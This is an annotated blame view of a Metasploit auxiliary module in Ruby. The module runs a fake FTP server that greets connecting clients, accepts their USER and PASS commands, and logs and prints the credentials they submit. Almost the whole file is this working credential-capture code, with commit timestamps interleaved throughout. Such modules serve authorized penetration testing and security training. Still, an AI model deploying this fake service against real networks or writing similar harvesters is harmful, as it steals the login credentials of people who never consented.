2008-03-02 04:46:13 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-03-02 04:46:13 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2008-03-02 04:46:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-03-02 04:46:13 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
include Msf::Auxiliary::Report
|
2008-03-02 04:46:13 +00:00
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Authentication Capture: FTP',
|
|
|
|
'Description' => %q{
|
2010-05-03 17:13:09 +00:00
|
|
|
This module provides a fake FTP service that
|
|
|
|
is designed to capture authentication credentials.
|
2008-03-02 04:46:13 +00:00
|
|
|
},
|
|
|
|
'Author' => ['ddz', 'hdm'],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
2010-09-20 08:06:27 +00:00
|
|
|
[ 'Capture' ]
|
2008-03-02 04:46:13 +00:00
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
'PassiveActions' =>
|
2008-03-02 04:46:13 +00:00
|
|
|
[
|
|
|
|
'Capture'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Capture'
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def setup
|
|
|
|
super
|
|
|
|
@state = {}
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2012-07-19 15:50:58 +00:00
|
|
|
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
2008-03-02 04:46:13 +00:00
|
|
|
exploit()
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
def on_client_connect(c)
|
|
|
|
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
|
|
|
|
c.put "220 FTP Server Ready\r\n"
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
def on_client_data(c)
|
|
|
|
data = c.get_once
|
|
|
|
return if not data
|
|
|
|
cmd,arg = data.strip.split(/\s+/, 2)
|
|
|
|
arg ||= ""
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
if(cmd.upcase == "USER")
|
|
|
|
@state[c][:user] = arg
|
|
|
|
c.put "331 User name okay, need password...\r\n"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if(cmd.upcase == "QUIT")
|
|
|
|
c.put "221 Logout\r\n"
|
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
if(cmd.upcase == "PASS")
|
|
|
|
@state[c][:pass] = arg
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
report_auth_info(
|
|
|
|
:host => @state[c][:ip],
|
2010-08-18 00:58:20 +00:00
|
|
|
:port => datastore['SRVPORT'],
|
|
|
|
:sname => 'ftp',
|
2008-03-02 04:46:13 +00:00
|
|
|
:user => @state[c][:user],
|
2010-08-18 00:58:20 +00:00
|
|
|
:pass => @state[c][:pass],
|
2011-11-08 18:45:47 +00:00
|
|
|
:source_type => "captured",
|
2010-08-18 00:58:20 +00:00
|
|
|
:active => true
|
2008-03-02 04:46:13 +00:00
|
|
|
)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
print_status("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
|
|
|
end
|
|
|
|
|
|
|
|
@state[c][:pass] = data.strip
|
|
|
|
c.put "500 Error\r\n"
|
|
|
|
return
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
def on_client_close(c)
|
|
|
|
@state.delete(c)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2010-03-25 01:09:04 +00:00
|
|
|
end
|